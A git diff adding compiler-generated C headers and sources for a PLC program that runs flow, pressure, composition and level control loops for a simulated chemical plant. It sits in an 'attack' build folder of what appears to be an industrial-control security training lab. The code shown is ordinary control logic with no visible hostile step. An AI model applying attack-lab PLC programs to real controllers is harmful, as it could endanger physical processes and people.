SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables 